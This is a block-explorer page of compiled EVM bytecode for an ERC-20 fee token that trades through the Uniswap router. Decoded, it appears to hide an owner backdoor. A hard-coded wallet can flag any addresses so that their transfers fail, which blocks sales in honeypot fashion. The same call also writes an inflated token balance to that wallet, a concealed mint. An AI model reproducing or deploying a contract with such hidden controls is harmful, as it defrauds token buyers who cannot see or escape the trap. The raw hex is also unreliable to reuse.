ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c8391906126cd565b60405180910390a35b611c9f818461198f90919063ffffffff16565b9150509392505050565b6000808284611cb891906127b2565b905083811015611cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf49061262d565b60405180910390fd5b8091505092915050565b6000600267ffffffffffffffff811115611d2457611d23612ae0565b5b604051908082528060200260200182016040528015611d525781602001602082028036833780820191505090505b5090503081600081518110611d6a57611d69612ab1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e0c57600080fd5b505afa158015611e20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e4491906121a6565b81600181518110611e5857611e57612ab1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ebf30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ac565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f239594939291906126e8565b600060405180830381600087803b158015611f3d57600080fd5b505af1925050508015611f4e575060015b611f5757611f58565b5b5050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611fa2573d6000803e3d6000fd5b505050565b600080831415611fba576000905061201c565b60008284611fc89190612839565b9050828482611fd79190612808565b14612017576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200e9061264d565b60405180910390fd5b809150505b92915050565b600061206483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061206c565b905092915050565b600080831182906120b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120aa91906125cb565b60405180910390fd5b50600083856120c29190612808565b9050809150509392505050565b6000813590506120de81612d16565b92915050565b6000815190506120f381612d16565b92915050565b60008083601f84011261210f5761210e612b14565b5b8235905067ffffffffffffffff81111561212c5761212b612b0f565b5b60208301915083602082028301111561214857612147612b19565b5b9250929050565b60008135905061215e81612d2d565b92915050565b60008135905061217381612d44565b92915050565b60006020828403121561218f5761218e612b23565b5b600061219d848285016120cf565b91505092915050565b6000602082840312156121bc576121bb612b23565b5b60006121ca848285016120e4565b91505092915050565b600080604083850312156121ea576121e9612b23565b5b60006121f8858286016120cf565b9250506020612209858286016120cf565b9150509250929050565b60008060006060848603121561222c5761222b612b23565b5b600061223a868287016120cf565b935050602061224b868287016120cf565b925050604061225c86828701612164565b9150509250925092565b6000806040838503121561227d5761227c612b23565b5b600061228b858286016120cf565b925050602061229c85828601612164565b9150509250929050565b600080600080606085870312156122c0576122bf612b23565b5b60006122ce8782880161214f565b945050602085013567ffffffffffffffff8111156122ef576122ee612b1e565b5b6122fb878288016120f9565b9350935050604061230e87828801612164565b91505092959194509250565b60006123268383612341565b60208301905092915050565b61233b816128d9565b82525050565b61234a816128c7565b82525050565b612359816128c7565b82525050565b600061236a8261276d565b6123748185612790565b935061237f8361275d565b8060005b838110156123b0578151612397888261231a565b97506123a283612783565b925050600181019050612383565b5085935050505092915050565b6123c6816128eb565b82525050565b6123d58161292e565b82525050565b6123e481612940565b82525050565b60006123f582612778565b6123ff81856127a1565b935061240f818560208601612976565b61241881612b28565b840191505092915050565b60006124306023836127a1565b915061243b82612b39565b604082019050919050565b60006124536022836127a1565b915061245e82612b88565b604082019050919050565b6000612476601b836127a1565b915061248182612bd7565b602082019050919050565b60006124996021836127a1565b91506124a482612c00565b604082019050919050565b60006124bc6020836127a1565b91506124c782612c4f565b602082019050919050565b60006124df6025836127a1565b91506124ea82612c78565b604082019050919050565b60006125026024836127a1565b915061250d82612cc7565b604082019050919050565b61252181612917565b82525050565b61253081612921565b82525050565b600060208201905061254b6000830184612350565b92915050565b60006020820190506125666000830184612332565b92915050565b60006040820190506125816000830185612350565b61258e6020830184612350565b9392505050565b60006020820190506125aa60008301846123bd565b92915050565b60006020820190506125c560008301846123cc565b92915050565b600060208201905081810360008301526125e581846123ea565b905092915050565b6000602082019050818103600083015261260681612423565b9050919050565b6000602082019050818103600083015261262681612446565b9050919050565b6000602082019050818103600083015261264681612469565b9050919050565b600060208201905081810360008301526126668161248c565b9050919050565b60006020820190508181036000830152612686816124af565b9050919050565b600060208201905081810360008301526126a6816124d2565b9050919050565b600060208201905081810360008301526126c6816124f5565b9050919050565b60006020820190506126e26000830184612518565b92915050565b600060a0820190506126fd6000830188612518565b61270a60208301876123db565b818103604083015261271c818661235f565b905061272b6060830185612350565b6127386080830184612518565b9695505050505050565b60006020820190506127576000830184612527565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127bd82612917565b91506127c883612917565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127fd576127fc612a24565b5b828201905092915050565b600061281382612917565b915061281e83612917565b92508261282e5761282d612a53565b5b828204905092915050565b600061284482612917565b915061284f83612917565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561288857612887612a24565b5b828202905092915050565b600061289e82612917565b91506128a983612917565b9250828210156128bc576128bb612a24565b5b828203905092915050565b60006128d2826128f7565b9050919050565b60006128e4826128f7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061293982612952565b9050919050565b600061294b82612917565b9050919050565b600061295d82612964565b9050919050565b600061296f826128f7565b9050919050565b60005b83811015612994578082015181840152602081019050612979565b838111156129a3576000848401525b50505050565b600060028204905060018216806129c157607f821691505b602082108114156129d5576129d4612a82565b5b50919050565b60006129e682612917565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a1957612a18612a24565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612d1f816128c7565b8114612d2a57600080fd5b50565b612d36816128eb565b8114612d4157600080fd5b50565b612d4d81612917565b8114612d5857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c56fce579b63f09891214e7a68134ea5c70270589ddbd257c8e04ef32536656964736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101445760003560e01c806344f637bc116100b6578063b789c2241161006f578063b789c22414610493578063c469b6dd146104be578063c816841b146104e9578063cab0347114610514578063dd62ed3e1461053f578063f2fde38b1461057c5761014b565b806344f637bc1461035b5780634a74bb021461039857806370a08231146103c35780638da5cb5b1461040057806395d89b411461042b578063a9059cbb146104565761014b565b806323b872dd1161010857806323b872dd1461023757806327c8f83514610274578063313ce5671461029f5780633345611e146102ca5780633ecad27114610307578063407262ed146103445761014b565b806306fdde0314610150578063095ea7b31461017b5780631694505e146101b857806318160ddd146101e35780631cd1ff091461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b506101656105a5565b60405161017291906125cb565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612266565b610637565b6040516101af9190612595565b60405180910390f35b3480156101c457600080fd5b506101cd610655565b6040516101da91906125b0565b60405180910390f35b3480156101ef57600080fd5b506101f861067b565b60405161020591906126cd565b60405180910390f35b34801561021a57600080fd5b50610235600480360381019061023091906122a6565b610685565b005b34801561024357600080fd5b5061025e60048036038101906102599190612213565b6107f0565b60405161026b9190612595565b60405180910390f35b34801561028057600080fd5b506102896108ca565b6040516102969190612536565b60405180910390f35b3480156102ab57600080fd5b506102b46108ee565b6040516102c19190612742565b60405180910390f35b3480156102d657600080fd5b506102f160048036038101906102ec9190612179565b610905565b6040516102fe9190612595565b60405180910390f35b34801561031357600080fd5b5061032e60048036038101906103299190612179565b610925565b60405161033b9190612595565b60405180910390f35b34801561035057600080fd5b50610359610945565b005b34801561036757600080fd5b50610382600480360381019061037d9190612179565b610d1d565b60405161038f9190612595565b60405180910390f35b3480156103a457600080fd5b506103ad610d3d565b6040516103ba9190612595565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e59190612179565b610d50565b6040516103f791906126cd565b60405180910390f35b34801561040c57600080fd5b50610415610d99565b6040516104229190612536565b60405180910390f35b34801561043757600080fd5b50610440610dc2565b60405161044d91906125cb565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190612266565b610e54565b60405161048a9190612595565b60405180910390f35b34801561049f57600080fd5b506104a8610e73565b6040516104b59190612551565b60405180910390f35b3480156104ca57600080fd5b506104d3610e99565b6040516104e091906126cd565b60405180910390f35b3480156104f557600080fd5b506104fe610e9f565b60405161050b9190612536565b60405180910390f35b34801561052057600080fd5b50610529610ec5565b60405161053691906126cd565b60405180910390f35b34801561054b57600080fd5b50610566600480360381019061056191906121d3565b610ecb565b60405161057391906126cd565b60405180910390f35b34801561058857600080fd5b506105a3600480360381019061059e9190612179565b610f52565b005b6060600180546105b4906129a9565b80601f01602080910402602001604051908101604052809291908181526020018280546105e0906129a9565b801561062d5780601f106106025761010080835404028352916020019161062d565b820191906000526020600020905b81548152906001019060200180831161061057829003601f168201915b5050505050905090565b600061064b6106446110a4565b84846110ac565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b600083839050905060005b8181101561072f5760008585838181106106ad576106ac612ab1565b5b90506020020160208101906106c29190612179565b905086600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550508080610727906129db565b915050610690565b50600061075d600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d50565b60026107699190612839565b8361077491906127b2565b905061078260008311611277565b8060046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050505050565b60006107fd8484846112eb565b506108bf8461080a6110a4565b6108ba85604051806060016040528060288152602001612d5c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108706110a4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ce9092919063ffffffff16565b6110ac565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b61094d6110a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d19061266d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3957600080fd5b505afa158015610a4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7191906121a6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ad357600080fd5b505afa158015610ae7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0b91906121a6565b6040518363ffffffff1660e01b8152600401610b2892919061256c565b602060405180830381600087803b158015610b4257600080fd5b505af1158015610b56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7a91906121a6565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60086020528060005260406000206000915054906101000a900460ff1681565b600d60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610dd1906129a9565b80601f0160208091040260200160405190810160405280929190818152602001828054610dfd906129a9565b8015610e4a5780601f10610e1f57610100808354040283529160200191610e4a565b820191906000526020600020905b815481529060010190602001808311610e2d57829003601f168201915b5050505050905090565b6000610e68610e616110a4565b84846112eb565b506001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f5a6110a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fde9061266d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561111c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611113906126ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561118c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111839061260d565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161126a91906126cd565b60405180910390a3505050565b8080156112815750805b156112e85761128e6110a4565b73ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e757600080fd5b5b50565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561135c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113539061268d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c3906125ed565b60405180910390fd5b600d60149054906101000a900460ff16156113f3576113ec848484611732565b90506116c7565b60006113fe30610d50565b9050600d60149054906101000a900460ff161580156114675750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114765761147581611905565b5b6114c883600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198f90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115ae5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115c2576115bd8686866119d9565b6115c4565b835b905061161881600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116b891906126cd565b60405180910390a36001925050505b9392505050565b6000838311158290611716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170d91906125cb565b60405180910390fd5b50600083856117259190612893565b9050809150509392505050565b60006117bd826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ce9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185282600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118f291906126cd565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff021916908315150217905550600081905061192e81611d07565b60004790506000819050600081111561196e5761196d600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f5c565b5b5050506000600d60146101000a81548160ff02191690831515021790555050565b60006119d183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116ce565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611a8957600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a8857600080fd5b5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b0a57611b036064611af560095486611fa790919063ffffffff16565b61202290919063ffffffff16565b9050611b88565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b8757611b846064611b76600a5486611fa790919063ffffffff16565b61202290919063ffffffff16565b90505b5b6000811115611c8c57611be381600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c8391906126cd565b60405180910390a35b611c9f818461198f90919063ffffffff16565b9150509392505050565b6000808284611cb891906127b2565b905083811015611cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf49061262d565b60405180910390fd5b8091505092915050565b6000600267ffffffffffffffff811115611d2457611d23612ae0565b5b604051908082528060200260200182016040528015611d525781602001602082028036833780820191505090505b5090503081600081518110611d6a57611d69612ab1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e0c57600080fd5b505afa158015611e20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e4491906121a6565b81600181518110611e5857611e57612ab1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ebf30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ac565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f239594939291906126e8565b600060405180830381600087803b158015611f3d57600080fd5b505af1925050508015611f4e575060015b611f5757611f58565b5b5050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611fa2573d6000803e3d6000fd5b505050565b600080831415611fba576000905061201c565b60008284611fc89190612839565b9050828482611fd79190612808565b14612017576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200e9061264d565b60405180910390fd5b809150505b92915050565b600061206483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061206c565b905092915050565b600080831182906120b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120aa91906125cb565b60405180910390fd5b50600083856120c29190612808565b9050809150509392505050565b6000813590506120de81612d16565b92915050565b6000815190506120f381612d16565b92915050565b60008083601f84011261210f5761210e612b14565b5b8235905067ffffffffffffffff81111561212c5761212b612b0f565b5b60208301915083602082028301111561214857612147612b19565b5b9250929050565b60008135905061215e81612d2d565b92915050565b60008135905061217381612d44565b92915050565b60006020828403121561218f5761218e612b23565b5b600061219d848285016120cf565b91505092915050565b6000602082840312156121bc576121bb612b23565b5b60006121ca848285016120e4565b91505092915050565b600080604083850312156121ea576121e9612b23565b5b60006121f8858286016120cf565b9250506020612209858286016120cf565b9150509250929050565b60008060006060848603121561222c5761222b612b23565b5b600061223a868287016120cf565b935050602061224b868287016120cf565b925050604061225c86828701612164565b9150509250925092565b6000806040838503121561227d5761227c612b23565b5b600061228b858286016120cf565b925050602061229c85828601612164565b9150509250929050565b600080600080606085870312156122c0576122bf612b23565b5b60006122ce8782880161214f565b945050602085013567ffffffffffffffff8111156122ef576122ee612b1e565b5b6122fb878288016120f9565b9350935050604061230e87828801612164565b91505092959194509250565b60006123268383612341565b60208301905092915050565b61233b816128d9565b82525050565b61234a816128c7565b82525050565b612359816128c7565b82525050565b600061236a8261276d565b6123748185612790565b935061237f8361275d565b8060005b838110156123b0578151612397888261231a565b97506123a283612783565b925050600181019050612383565b5085935050505092915050565b6123c6816128eb565b82525050565b6123d58161292e565b82525050565b6123e481612940565b82525050565b60006123f582612778565b6123ff81856127a1565b935061240f818560208601612976565b61241881612b28565b840191505092915050565b60006124306023836127a1565b915061243b82612b39565b604082019050919050565b60006124536022836127a1565b915061245e82612b88565b604082019050919050565b6000612476601b836127a1565b915061248182612bd7565b602082019050919050565b60006124996021836127a1565b91506124a482612c00565b604082019050919050565b60006124bc6020836127a1565b91506124c782612c4f565b602082019050919050565b60006124df6025836127a1565b91506124ea82612c78565b604082019050919050565b60006125026024836127a1565b915061250d82612cc7565b604082019050919050565b61252181612917565b82525050565b61253081612921565b82525050565b600060208201905061254b6000830184612350565b92915050565b60006020820190506125666000830184612332565b92915050565b60006040820190506125816000830185612350565b61258e6020830184612350565b9392505050565b60006020820190506125aa60008301846123bd565b92915050565b60006020820190506125c560008301846123cc565b92915050565b600060208201905081810360008301526125e581846123ea565b905092915050565b6000602082019050818103600083015261260681612423565b9050919050565b6000602082019050818103600083015261262681612446565b9050919050565b6000602082019050818103600083015261264681612469565b9050919050565b600060208201905081810360008301526126668161248c565b9050919050565b60006020820190508181036000830152612686816124af565b9050919050565b600060208201905081810360008301526126a6816124d2565b9050919050565b600060208201905081810360008301526126c6816124f5565b9050919050565b60006020820190506126e26000830184612518565b92915050565b600060a0820190506126fd6000830188612518565b61270a60208301876123db565b818103604083015261271c818661235f565b905061272b6060830185612350565b6127386080830184612518565b9695505050505050565b60006020820190506127576000830184612527565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127bd82612917565b91506127c883612917565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127fd576127fc612a24565b5b828201905092915050565b600061281382612917565b915061281e83612917565b92508261282e5761282d612a53565b5b828204905092915050565b600061284482612917565b915061284f83612917565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561288857612887612a24565b5b828202905092915050565b600061289e82612917565b91506128a983612917565b9250828210156128bc576128bb612a24565b5b828203905092915050565b60006128d2826128f7565b9050919050565b60006128e4826128f7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061293982612952565b9050919050565b600061294b82612917565b9050919050565b600061295d82612964565b9050919050565b600061296f826128f7565b9050919050565b60005b83811015612994578082015181840152602081019050612979565b838111156129a3576000848401525b50505050565b600060028204905060018216806129c157607f821691505b602082108114156129d5576129d4612a82565b5b50919050565b60006129e682612917565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a1957612a18612a24565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612d1f816128c7565b8114612d2a57600080fd5b50565b612d36816128eb565b8114612d4157600080fd5b50565b612d4d81612917565b8114612d5857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c56fce579b63f09891214e7a68134ea5c70270589ddbd257c8e04ef32536656964736f6c63430008070033

Deployed Bytecode Sourcemap

